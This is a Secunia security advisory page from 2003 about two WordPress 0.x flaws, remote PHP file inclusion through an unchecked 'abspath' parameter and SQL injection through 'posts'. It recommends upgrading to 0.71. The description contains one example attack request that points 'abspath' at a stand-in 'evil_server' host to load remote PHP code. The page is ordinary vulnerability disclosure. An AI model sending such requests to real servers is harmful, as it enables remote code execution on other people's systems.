Wordpress Multiple Vulnerabilities - Advisories

Wordpress Multiple Vulnerabilities

Secunia Advisory:	SA8954
Release Date:	2003-06-06
Last Update:	2003-07-14

Critical:	Highly critical
Impact:	System access
Where:	From remote
Solution Status:	Vendor Patch

Software:	Wordpress 0.x

	Want to know the next time vulnerabilities are fixed in this product? - Companies can be alerted via email and SMS!

Description: Two vulnerabilities have been identified in Wordpress allowing malicious people to execute arbitrary PHP or inject SQL. One problem is that the "abspath" parameter isn't verfied in the "/wp-links/links.all.php" script. By requesting "/wp-links/links.all.php?abspath=http://evil_server", it is possible to include a malicious "/blog.header.php" PHP script from "http://evil_server". The other problem is that the "posts" parameter isn't verified in "/blog.header.php" before it is used in an SQL statement. This allows malicious people to manipulate SQL queries. Solution: Update to version 0.71: http://wordpress.org/download/ Provided and/or discovered by: FraMe Changelog: 2003-07-14: Updated version available. "Solution" section changed. Original Advisory: http://www.kernelpanik.org/docs/kernelpanik/wordpressadv.txt



Please note: The information that this Secunia Advisory is based on comes from a third party unless stated otherwise. Secunia collects, validates, and verifies all vulnerability reports issued by security research groups, vendors, and others.

2 Related Secunia Security Advisories

1. WordPress Cross-Site Scripting Vulnerabilities

Send Feedback to Secunia

If you have new information regarding this Secunia advisory or a product in our database, please send it to us using either our web form or email us at vuln@secunia.com. Ideas, suggestions, and other feedback are most welcome.

Secunia PSI
Scan | Patch | Track
Free Download

Secunia Poll

Most Popular Advisories

1.	Microsoft Windows DNS Spoofing Vulnerabilities

2.	Microsoft Access Snapshot Viewer ActiveX Control Vulnerability

3.	Microsoft Windows Explorer Saved Search Vulnerability

4.	Microsoft SQL Server and MSDE Multiple Vulnerabilities

5.	Joomla Unauthorized Access Vulnerabilities

6.	Microsoft Outlook Web Access Script Insertion Vulnerabilities

7.	ArticleBeach Script "page" File Inclusion Vulnerability

8.	Mozilla Firefox Multiple Vulnerabilities

9.	Symantec Brightmail AntiSpam Notifier Denial of Service

10.	PHP-Nuke 4ndvddb Module "id" SQL Injection Vulnerability